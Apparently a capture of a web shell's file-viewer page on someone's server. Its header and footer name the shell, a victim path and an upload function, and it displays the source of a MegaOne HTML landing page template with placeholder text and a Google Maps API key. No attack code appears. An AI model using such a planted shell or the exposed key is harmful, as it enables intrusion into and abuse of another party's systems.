?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/events/crm/
Upload File :
Current File : /home/webyoo/www/events/crm/index-landing-page.html

<!DOCTYPE html>
<html lang="en">
<head>
    <!-- Meta Tags -->
    <meta charset="utf-8">
    <meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
    <!-- Author -->
    <meta name="author" content="Themes Industry">
    <!-- description -->
    <meta name="description" content="MegaOne is a highly creative, modern, visually stunning and Bootstrap responsive multipurpose studio and portfolio HTML5 template with 8 ready home page demos.">
    <!-- keywords -->
    <meta name="keywords" content="Creative, modern, clean, bootstrap responsive, html5, css3, portfolio, blog, studio, templates, multipurpose, one page, corporate, start-up, studio, branding, designer, freelancer, carousel, parallax, photography, studio, masonry, grid, faq">
    <!-- Page Title -->
    <title>App Landing | MegaOne HTML5 Template</title>
    <!-- Favicon -->
    <link href="app-landing-page/img/favicon.ico" rel="icon">
    <!-- Bundle -->
    <link href="vendor/css/bundle.min.css" rel="stylesheet">
    <!-- Plugin Css -->
    <link href="vendor/css/LineIcons.min.css" rel="stylesheet">
    <link href="vendor/css/revolution-settings.min.css" rel="stylesheet">
    <link href="vendor/css/jquery.fancybox.min.css" rel="stylesheet">
    <link href="vendor/css/owl.carousel.min.css" rel="stylesheet">
    <link href="vendor/css/cubeportfolio.min.css" rel="stylesheet">
    <link rel="stylesheet" href="vendor/css/wow.css">
    <!-- Style Sheet -->
    <link href="app-landing-page/css/style.css" rel="stylesheet">
</head>

<body data-spy="scroll" data-target=".navbar-nav" data-offset="90">

<!-- Preloader -->
<div class="loader1">
    <div class="loader-inner">
        <div class="loader3">
            <span></span>
            <span></span>
        </div>
    </div>
</div>
<!-- Preloader End -->

<!--Header Start-->
<header>

    <!--Navigation-->
    <nav class="navbar navbar-top-default navbar-expand-lg navbar-simple nav-line">
        <div class="container">
            <a href="#home" title="Logo" class="logo scroll">
                <!--Logo Default-->
                <img src="app-landing-page/img/logo-pure-white.png" alt="logo" class="logo-dark">
            </a>

            <!--Nav Links-->
            <div class="collapse navbar-collapse" id="megaone">
                <div class="navbar-nav ml-auto">
                    <a class="nav-link active scroll" href="#home">Home</a>
                    <a class="nav-link scroll" href="#secvice">Services</a>
                    <a class="nav-link scroll" href="#screenshot">ScreenShot</a>
                    <a class="nav-link scroll" href="#app">Product</a>
                    <a class="nav-link scroll" href="#adv-sec">Download</a>
                </div>
            </div>

            <!--Side Menu Button-->
            <a href="javascript:void(0)" class="sidemenu_btn" id="sidemenu_toggle">
                <span></span>
                <span></span>
                <span></span>
            </a>

        </div>
    </nav>

    <!--Side Nav-->
    <div class="side-menu hidden">
        <div class="inner-wrapper">
            <span class="btn-close" id="btn_sideNavClose"><i></i><i></i></span>
            <nav class="side-nav w-100">
                <ul class="navbar-nav">
                    <li class="nav-item">
                        <a class="nav-link scroll" href="#home">Home</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link scroll" href="#secvice">Services</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link scroll" href="#screenshot">ScreenShot</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link scroll" href="#app">Product</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link scroll" href="#adv-sec">Download</a>
                    </li>
                </ul>
            </nav>

            <div class="side-footer text-white w-100">
                <ul class="social-icons-simple">
                    <li><a class="facebook-text-hvr" href="javascript:void(0)"><i class="fab fa-facebook-f"></i> </a> </li>
                    <li><a class="instagram-text-hvr" href="javascript:void(0)"><i class="fab fa-instagram"></i> </a> </li>
                    <li><a class="twitter-text-hvr" href="javascript:void(0)"><i class="fab fa-twitter"></i> </a> </li>
                </ul>
                <p class="text-white">&copy; 2020 MegaOne. Made With Love by Themesindustry</p>
            </div>
        </div>
    </div>
    <a id="close_side_menu" href="javascript:void(0);"></a>
    <!-- End side menu -->
</header>
<!--Header End-->

<!--START BANNER-->
<div class="banner" id="home">
    <div class="container">
        <div class="row no-gutters">
            <div class="col-12 col-lg-6 d-flex justify-content-center align-items-center text-center text-lg-left">
                <div class="banner-description">
                    <h1>Present your app in attractive way with John.</h1>
                    <p>Available on App Store and Play Store</p>
                    <a href="#home" class="btn btn-white-with-black-hover">Download App</a>
                </div>
            </div>

            <div class="col-12 col-lg-6">
                <img src="app-landing-page/img/banner-image.png">
            </div>
        </div>
    </div>
</div>
<!--END BANNER-->

<!--START SERVICE-->
<div class="our-service" id="secvice">
    <div class="container">
        <div class="row">
            <div class="col-12 heading">
                <h3 class="text-center">- OUR SERVICE -</h3>
            </div>

            <div class="col-12 col-lg-4 wow slideInUp" data-wow-duration="1s">
                <div class="card service">
                    <i class="lni-layers"></i>
                    <div class="card-body">
                        <h5 class="card-title"><a href="JavaScript:Void(0);"> Easily Managable </a></h5>
                        <p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
                    </div>
                </div>
            </div>
            <div class="col-12 col-lg-4 wow slideInUp" data-wow-duration="1s">
                <div class="card service">
                    <i class="lni-timer"></i>
                    <div class="card-body">
                        <h5 class="card-title">Track Your Move</h5>
                        <p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
                    </div>
                </div>
            </div>
            <div class="col-12 col-lg-4 wow slideInUp" data-wow-duration="1s">
                <div class="card service">
                    <i class="lni-database"></i>
                    <div class="card-body">
                        <h5 class="card-title">Complete Data</h5>
                        <p class="card-text">Some quick example text to build on the card title and make up the bulk of the card's content.</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<!--END SERVICE-->

<!--START SCREEN SHOTS-->
<div class="screenshot-section" id="screenshot">
    <div class="container">
        <div class="row">
            <div class="col-12 heading">
                <h3 class="text-center">- APP SCREENSHOTS -</h3>
            </div>

            <div class="col-12">
                <div class="screenshot-slider owl-carousel owl-theme">
                    <div class="item">
                        <a href="app-landing-page/img/screenshot1.png"  data-fancybox="group1"  data-title="ScreenShot 1">
                            <img src="app-landing-page/img/screenshot1.png" alt="ScreenShota">
                        </a>
                    </div>
                    <div class="item">
                        <a href="app-landing-page/img/screenshot2.png"  data-fancybox="group1"  data-title="ScreenShot 2">
                            <img src="app-landing-page/img/screenshot2.png" alt="ScreenShotb">
                        </a>
                    </div>
                    <div class="item">
                        <a href="app-landing-page/img/screenshot3.png"  data-fancybox="group1"  data-title="ScreenShot 3">
                            <img src="app-landing-page/img/screenshot3.png" alt="ScreenShotc">
                        </a>
                    </div>
                    <div class="item">
                        <a href="app-landing-page/img/screenshot3.png"  data-fancybox="group1"  data-title="ScreenShot 3">
                            <img src="app-landing-page/img/screenshot3.png" alt="ScreenShotc">
                        </a>
                    </div>
                    <div class="item">
                        <a href="app-landing-page/img/screenshot2.png"  data-fancybox="group1"  data-title="ScreenShot 2">
                            <img src="app-landing-page/img/screenshot2.png" alt="ScreenShotb">
                        </a>
                    </div>
                    <div class="item">
                        <a href="app-landing-page/img/screenshot3.png"  data-fancybox="group1"  data-title="ScreenShot 3">
                            <img src="app-landing-page/img/screenshot3.png" alt="ScreenShotc">
                        </a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<!--END SCREEN SHOTS-->

<!--START FEATURES-->
<section class="features" id="app">
    <div class="container">
        <!--Heading-->
        <div class="row">
            <div class="col-12 col-md-10 col-lg-8 offset-md-1 offset-lg-2 text-center wow fadeIn" style="visibility: visible; animation-name: fadeIn;">
                <div class="title d-inline-block">
                    <h6 class="mb-3">Most reliable application</h6>
                    <h2 class="gradient-text1 mb-3">- Mobile App Design -</h2>
                    <p>Curabitur mollis bibendum luctus. Duis suscipit vitae dui sed suscipit. Vestibulum auctor nunc vitae diam eleifend, in maximus metus sollicitudin. Quisque vitae sodales lectus. Nam porttitor justo sed mi finibus, vel tristique risus faucibus. </p>
                </div>
            </div>
        </div>

        <!--App deatil-->
        <div class="row align-items-center text-center">

            <div class="col-lg-4 wow fadeInLeft mb-5 mb-lg-0" style="visibility: visible; animation-name: fadeInLeft;">
                <!--App deatil item-->
                <div class="app-feature">
                    <i class="lni-diamond gradient-text1"></i>
                    <h4 class="mb-3">Theme Options</h4>
                    <p>This is Photoshop's version  of Lorem Ipsum. Proin gravida nibh vel velit Suspendisse in orci enim gravida nibh.</p>
                </div>
                <!--App deatil item-->
                <div class="app-feature">
                    <i class="lni-pencil-alt gradient-text1"></i>
                    <h4 class="mb-3">Customization</h4>
                    <p>This is Photoshop's version  of Lorem Ipsum. Proin gravida nibh vel velit Suspendisse in orci enim gravida nibh.</p>
                </div>
            </div>

            <!--app slider-->
            <div class="col-lg-4 wow fadeInUp mb-5 mb-lg-0">
                <!--app Image-->
                <div class="app-image">
                    <img src="app-landing-page/img/mobile-image.png" alt="image">
                    <div id="app-slider" class="owl-carousel owl-theme">
                        <div class="item">
                            <img src="app-landing-page/img/img3.png" alt="">
                        </div>
                        <div class="item">
                            <img src="app-landing-page/img/img3.png" alt="">
                        </div>
                        <div class="item">
                            <img src="app-landing-page/img/img3.png" alt="">
                        </div>
                    </div>
                </div>
            </div>

            <div class="col-lg-4 wow fadeInRight" style="visibility: visible; animation-name: fadeInRight;">
                <!--App deatil item-->
                <div class="app-feature">
                    <i class="lni-code gradient-text1"></i>
                    <h4 class="mb-3">Powerful Code</h4>
                    <p>This is Photoshop's version  of Lorem Ipsum. Proin gravida nibh vel velit Suspendisse in orci enim gravida nibh.</p>
                </div>
                <!--App deatil item-->
                <div class="app-feature">
                    <i class="lni-files gradient-text1"></i>
                    <h4 class="mb-3">Documentation</h4>
                    <p>This is Photoshop's version  of Lorem Ipsum. Proin gravida nibh vel velit Suspendisse in orci enim gravida nibh.</p>
                </div>
            </div>

        </div>

    </div>
</section>
<!--END FEATURES-->


<div class="adv-sec" id="adv-sec" style="background-image:url('app-landing-page/img/adver-banner.jpg')">
    <div class="overlay"></div>
    <div class="container">
        <div class="row">
            <div class="col-12 text-center">
                <div class="download-app">
                    <h2>Download The App On</h2>
                    <a href="#" class="btn btn-white-with-black-hover"><i class="lni-apple"></i> App Play</a>
                    <a href="#" class="btn btn-white-with-black-hover"><i class="lni-android-original"></i> Play Store</a>
                </div>
            </div>
        </div>
    </div>
</div>
<!--</div>-->


<!--END REVIEWS-->

<!--Footer Start-->
<footer class="footer-style-1 bg-light">
    <div class="container">
        <div class="row align-items-center">
            <!--Social-->
            <div class="col-lg-6">
                <div class="footer-social text-lg-left">
                    <ul class="list-unstyled">
                        <li><a class="wow fadeInUp" href="javascript:void(0);"><i aria-hidden="true"
                                                                                  class="fab fa-facebook-f"></i></a></li>
                        <li><a class="wow fadeInDown" href="javascript:void(0);"><i aria-hidden="true"
                                                                                    class="fab fa-twitter"></i></a></li>
                        <li><a class="wow fadeInUp" href="javascript:void(0);"><i aria-hidden="true"
                                                                                  class="fab fa-google-plus-g"></i></a></li>
                        <li><a class="wow fadeInDown" href="javascript:void(0);"><i aria-hidden="true"
                                                                                    class="fab fa-linkedin-in"></i></a></li>
                        <li><a class="wow fadeInUp" href="javascript:void(0);"><i aria-hidden="true"
                                                                                  class="fab fa-instagram"></i></a></li>
                        <li><a class="wow fadeInDown" href="javascript:void(0);"><i aria-hidden="true"
                                                                                    class="fab fa-pinterest-p"></i></a></li>
                    </ul>
                </div>
            </div>
            <!--Text-->
            <div class="col-lg-6 text-lg-right text-center">
                <p class="company-about fadeIn">© 2020 MegaOne. Made With Love By <a href="javascript:void(0);">Themesindustry</a>
                </p>
            </div>
        </div>
    </div>
</footer>
<!--Footer End-->



<!-- JavaScript -->
<script src="vendor/js/bundle.min.js"></script>
<!-- Plugin Js -->
<script src="vendor/js/jquery.appear.js"></script>
<script src="vendor/js/jquery.fancybox.min.js"></script>
<script src="vendor/js/owl.carousel.min.js"></script>
<script src="vendor/js/parallaxie.min.js"></script>
<script src="vendor/js/wow.min.js"></script>
<script src="vendor/js/jquery.cubeportfolio.min.js"></script>
<!-- REVOLUTION JS FILES -->
<script src="vendor/js/jquery.themepunch.tools.min.js"></script>
<script src="vendor/js/jquery.themepunch.revolution.min.js"></script>
<!-- SLIDER REVOLUTION EXTENSIONS -->
<script src="vendor/js/extensions/revolution.extension.actions.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.carousel.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.kenburn.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.layeranimation.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.migration.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.navigation.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.parallax.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.slideanims.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.video.min.js"></script>
<!-- google map-->
<script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyCJRG4KqGVNvAPY4UcVDLcLNXMXk2ktNfY"></script>
<!-- custom script-->
<script src="app-landing-page/js/script.js"></script>

</body>
</html>



web shell, Coded By 2019